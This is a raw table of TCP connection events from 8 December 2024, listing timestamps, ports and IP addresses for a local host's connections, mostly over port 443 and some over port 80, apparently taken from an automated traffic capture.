Dec 8, 2024 17:45:34.298954010 CET	49786	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:34.298959970 CET	443	49786	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:34.589230061 CET	443	49778	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:34.589540958 CET	443	49787	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:34.590159893 CET	49778	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:34.590173006 CET	443	49778	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:34.591960907 CET	49778	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:34.591964960 CET	443	49778	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:34.592622995 CET	49787	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:34.592634916 CET	443	49787	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:34.593440056 CET	49787	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:34.593450069 CET	443	49787	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:34.907705069 CET	443	49784	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:34.907768965 CET	443	49784	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:34.907830954 CET	49784	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:34.908210039 CET	49784	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:34.908225060 CET	443	49784	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:34.908242941 CET	49784	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:34.908247948 CET	443	49784	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:34.909120083 CET	443	49786	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:34.909168005 CET	443	49786	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:34.909213066 CET	49786	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:34.909612894 CET	49786	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:34.909615993 CET	443	49786	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:34.909631968 CET	49786	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:34.909636021 CET	443	49786	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:34.914067984 CET	49791	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:34.914104939 CET	443	49791	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:34.914175987 CET	49791	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:34.914201975 CET	49790	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:34.914223909 CET	443	49790	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:34.914274931 CET	49790	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:34.914463997 CET	49791	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:34.914482117 CET	443	49791	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:34.914558887 CET	49790	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:34.914577007 CET	443	49790	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:35.026570082 CET	443	49787	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:35.026638031 CET	443	49787	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:35.026680946 CET	49787	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:35.027286053 CET	443	49778	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:35.027350903 CET	443	49778	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:35.027395964 CET	49778	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:35.073116064 CET	49787	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:35.073128939 CET	443	49787	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:35.073143005 CET	49787	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:35.073148012 CET	443	49787	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:35.077100992 CET	49778	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:35.077114105 CET	443	49778	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:35.077125072 CET	49778	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:35.077133894 CET	443	49778	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:35.082278967 CET	49792	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:35.082290888 CET	443	49792	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:35.082348108 CET	49792	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:35.085124969 CET	49793	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:35.085144997 CET	443	49793	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:35.085194111 CET	49793	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:35.085572004 CET	49792	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:35.085588932 CET	443	49792	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:35.085797071 CET	49793	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:35.085810900 CET	443	49793	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:35.100281954 CET	443	49785	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:35.100934029 CET	49785	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:35.100945950 CET	443	49785	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:35.101917028 CET	49785	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:35.101923943 CET	443	49785	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:35.534495115 CET	443	49785	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:35.534548044 CET	443	49785	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:35.534636021 CET	49785	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:35.535187006 CET	49785	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:35.535200119 CET	443	49785	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:35.535229921 CET	49785	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:35.535235882 CET	443	49785	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:35.539443016 CET	49794	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:35.539469004 CET	443	49794	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:35.539680958 CET	49794	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:35.539979935 CET	49794	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:35.539990902 CET	443	49794	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:35.735812902 CET	49796	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:35.735814095 CET	49795	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:35.735837936 CET	443	49795	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:35.735845089 CET	443	49796	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:35.735964060 CET	49797	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:35.735987902 CET	443	49797	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:35.736018896 CET	49796	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:35.736020088 CET	49795	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:35.736097097 CET	49797	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:35.738323927 CET	49797	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:35.738323927 CET	49795	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:35.738327980 CET	49796	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:35.738333941 CET	443	49795	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:35.738336086 CET	443	49797	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:35.738342047 CET	443	49796	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:36.079942942 CET	443	49788	20.198.119.84	192.168.2.6
Dec 8, 2024 17:45:36.080050945 CET	49788	443	192.168.2.6	20.198.119.84
Dec 8, 2024 17:45:36.085460901 CET	49788	443	192.168.2.6	20.198.119.84
Dec 8, 2024 17:45:36.085469007 CET	443	49788	20.198.119.84	192.168.2.6
Dec 8, 2024 17:45:36.085685968 CET	443	49788	20.198.119.84	192.168.2.6
Dec 8, 2024 17:45:36.087574959 CET	49788	443	192.168.2.6	20.198.119.84
Dec 8, 2024 17:45:36.087574959 CET	49788	443	192.168.2.6	20.198.119.84
Dec 8, 2024 17:45:36.087587118 CET	443	49788	20.198.119.84	192.168.2.6
Dec 8, 2024 17:45:36.088001013 CET	49788	443	192.168.2.6	20.198.119.84
Dec 8, 2024 17:45:36.131340981 CET	443	49788	20.198.119.84	192.168.2.6
Dec 8, 2024 17:45:36.634756088 CET	443	49790	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:36.635449886 CET	49790	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:36.635476112 CET	443	49790	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:36.636059999 CET	443	49788	20.198.119.84	192.168.2.6
Dec 8, 2024 17:45:36.636217117 CET	443	49788	20.198.119.84	192.168.2.6
Dec 8, 2024 17:45:36.636275053 CET	49788	443	192.168.2.6	20.198.119.84
Dec 8, 2024 17:45:36.636616945 CET	49788	443	192.168.2.6	20.198.119.84
Dec 8, 2024 17:45:36.636629105 CET	443	49788	20.198.119.84	192.168.2.6
Dec 8, 2024 17:45:36.637418985 CET	49790	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:36.637428999 CET	443	49790	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:36.637656927 CET	443	49791	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:36.638870001 CET	49791	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:36.638886929 CET	443	49791	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:36.639827013 CET	49791	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:36.639832020 CET	443	49791	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:36.802836895 CET	443	49793	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:36.802942991 CET	443	49792	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:36.803441048 CET	49793	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:36.803457975 CET	443	49793	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:36.803963900 CET	49793	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:36.803970098 CET	443	49793	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:36.804270029 CET	49792	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:36.804291964 CET	443	49792	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:36.804747105 CET	49792	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:36.804752111 CET	443	49792	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:37.068176031 CET	443	49790	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:37.068236113 CET	443	49790	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:37.068289042 CET	49790	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:37.068712950 CET	49790	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:37.068721056 CET	443	49790	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:37.068733931 CET	49790	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:37.068738937 CET	443	49790	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:37.072088003 CET	443	49791	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:37.072153091 CET	443	49791	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:37.072300911 CET	49791	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:37.073962927 CET	49791	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:37.073978901 CET	443	49791	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:37.077253103 CET	49799	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:37.077280045 CET	443	49799	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:37.077471018 CET	49799	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:37.078377962 CET	49800	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:37.078408957 CET	443	49800	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:37.078501940 CET	49800	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:37.079194069 CET	49799	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:37.079207897 CET	443	49799	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:37.079269886 CET	49800	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:37.079282999 CET	443	49800	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:37.237318993 CET	443	49793	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:37.237389088 CET	443	49793	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:37.237585068 CET	49793	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:37.237675905 CET	49793	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:37.237684011 CET	443	49793	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:37.237700939 CET	49793	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:37.237710953 CET	443	49793	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:37.239190102 CET	443	49792	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:37.239244938 CET	443	49792	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:37.239315033 CET	49792	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:37.239447117 CET	49792	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:37.239456892 CET	443	49792	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:37.239464998 CET	49792	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:37.239470005 CET	443	49792	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:37.240962982 CET	49801	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:37.241003036 CET	443	49801	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:37.241271973 CET	49801	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:37.241498947 CET	49801	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:37.241516113 CET	443	49801	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:37.241637945 CET	49802	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:37.241648912 CET	443	49802	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:37.241725922 CET	49802	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:37.241844893 CET	49802	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:37.241858006 CET	443	49802	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:37.259835958 CET	443	49794	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:37.260302067 CET	49794	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:37.260313034 CET	443	49794	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:37.260795116 CET	49794	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:37.260802984 CET	443	49794	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:37.473588943 CET	443	49796	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:37.473622084 CET	443	49795	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:37.473683119 CET	49796	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:37.473706961 CET	49795	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:37.474769115 CET	443	49797	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:37.474833965 CET	49797	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:37.488775969 CET	49797	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:37.488795996 CET	443	49797	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:37.489064932 CET	443	49797	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:37.489183903 CET	49797	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:37.489732981 CET	49796	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:37.489762068 CET	443	49796	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:37.490004063 CET	443	49796	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:37.490056038 CET	49796	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:37.490756035 CET	49795	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:37.490767956 CET	443	49795	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:37.491003036 CET	443	49795	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:37.491239071 CET	49795	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:37.506686926 CET	49796	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:37.506721973 CET	443	49796	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:37.507015944 CET	49795	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:37.507050037 CET	443	49795	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:37.591383934 CET	49797	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:37.591476917 CET	443	49797	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:37.694149017 CET	443	49794	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:37.694226980 CET	443	49794	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:37.694309950 CET	49794	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:37.694686890 CET	49794	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:37.694701910 CET	443	49794	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:37.694713116 CET	49794	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:37.694717884 CET	443	49794	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:37.697860003 CET	49803	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:37.697900057 CET	443	49803	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:37.697979927 CET	49803	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:37.698189974 CET	49803	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:37.698199987 CET	443	49803	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:37.920970917 CET	443	49796	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:37.920991898 CET	443	49796	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:37.921039104 CET	49796	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:37.921051025 CET	443	49796	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:37.921061993 CET	443	49796	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:37.921096087 CET	49796	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:37.921171904 CET	49796	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:37.923798084 CET	49796	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:37.923814058 CET	443	49796	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:38.115325928 CET	443	49795	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:38.115354061 CET	443	49795	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:38.115394115 CET	49795	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:38.115405083 CET	443	49795	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:38.115426064 CET	443	49795	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:38.115436077 CET	49795	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:38.115470886 CET	49795	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:38.123845100 CET	443	49797	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:38.123868942 CET	443	49797	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:38.123924017 CET	49797	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:38.123940945 CET	443	49797	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:38.123954058 CET	443	49797	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:38.123955011 CET	49797	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:38.124001026 CET	49797	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:38.134644032 CET	49797	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:38.134660006 CET	443	49797	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:38.172440052 CET	49804	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:38.172480106 CET	443	49804	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:38.172547102 CET	49804	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:38.172883034 CET	49804	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:38.172893047 CET	443	49804	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:38.285337925 CET	443	49795	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:38.285429001 CET	49795	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:38.285437107 CET	443	49795	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:38.285460949 CET	443	49795	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:38.285490990 CET	49795	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:38.285521030 CET	49795	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:38.285772085 CET	49795	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:38.285787106 CET	443	49795	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:38.285801888 CET	49795	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:38.285875082 CET	49795	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:38.801942110 CET	443	49800	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:38.803031921 CET	443	49799	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:38.806930065 CET	49800	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:38.806951046 CET	443	49800	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:38.807743073 CET	49800	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:38.807748079 CET	443	49800	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:38.808568001 CET	49799	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:38.808583021 CET	443	49799	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:38.808984041 CET	49799	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:38.808990955 CET	443	49799	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:38.815880060 CET	49763	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:38.816550970 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:38.826704979 CET	49806	443	192.168.2.6	2.16.158.72
Dec 8, 2024 17:45:38.826733112 CET	443	49806	2.16.158.72	192.168.2.6
Dec 8, 2024 17:45:38.826848984 CET	49806	443	192.168.2.6	2.16.158.72
Dec 8, 2024 17:45:38.862725973 CET	49806	443	192.168.2.6	2.16.158.72
Dec 8, 2024 17:45:38.862741947 CET	443	49806	2.16.158.72	192.168.2.6
Dec 8, 2024 17:45:38.935159922 CET	80	49763	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:38.935771942 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:38.936084986 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:38.936569929 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:38.947246075 CET	49807	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:38.947267056 CET	443	49807	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:38.947323084 CET	49807	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:38.947741032 CET	49807	443	192.168.2.6	20.223.36.55
Dec 8, 2024 17:45:38.947751999 CET	443	49807	20.223.36.55	192.168.2.6
Dec 8, 2024 17:45:38.957284927 CET	443	49802	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:38.957556009 CET	443	49801	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:38.958266973 CET	49802	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:38.958273888 CET	443	49802	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:38.958952904 CET	49802	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:38.958957911 CET	443	49802	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:38.959398985 CET	49801	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:38.959418058 CET	443	49801	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:38.960052013 CET	49801	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:38.960057974 CET	443	49801	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:39.294085026 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:39.456516981 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:39.456629992 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:39.651720047 CET	443	49800	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:39.653251886 CET	443	49799	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:39.653341055 CET	443	49800	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:39.653470039 CET	49800	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:39.653933048 CET	49800	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:39.653949976 CET	443	49800	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:39.653975964 CET	49800	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:39.653980970 CET	443	49800	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:39.654707909 CET	443	49799	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:39.654803991 CET	49799	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:39.655112982 CET	49799	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:39.655128002 CET	443	49799	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:39.655139923 CET	49799	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:39.655144930 CET	443	49799	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:39.655700922 CET	443	49802	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:39.655755997 CET	443	49802	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:39.655903101 CET	49802	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:39.656183004 CET	49802	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:39.656188965 CET	443	49802	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:39.656821966 CET	443	49801	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:39.656886101 CET	443	49801	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:39.657250881 CET	49801	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:39.657907009 CET	49801	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:39.657921076 CET	443	49801	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:39.657948971 CET	49808	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:39.657965899 CET	443	49808	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:39.657988071 CET	49801	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:39.657993078 CET	443	49801	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:39.658027887 CET	49808	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:39.658750057 CET	49808	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:39.658760071 CET	443	49808	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:39.660579920 CET	49809	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:39.660590887 CET	443	49809	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:39.660660028 CET	49809	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:39.660795927 CET	49810	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:39.660804987 CET	443	49810	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:39.660835981 CET	49809	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:39.660845041 CET	443	49809	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:39.660854101 CET	49810	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:39.661098003 CET	49810	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:39.661106110 CET	443	49810	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:39.662072897 CET	49811	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:39.662081003 CET	443	49811	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:39.662141085 CET	49811	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:39.662249088 CET	49811	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:39.662261963 CET	443	49811	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:39.843235016 CET	49812	443	192.168.2.6	150.171.27.10
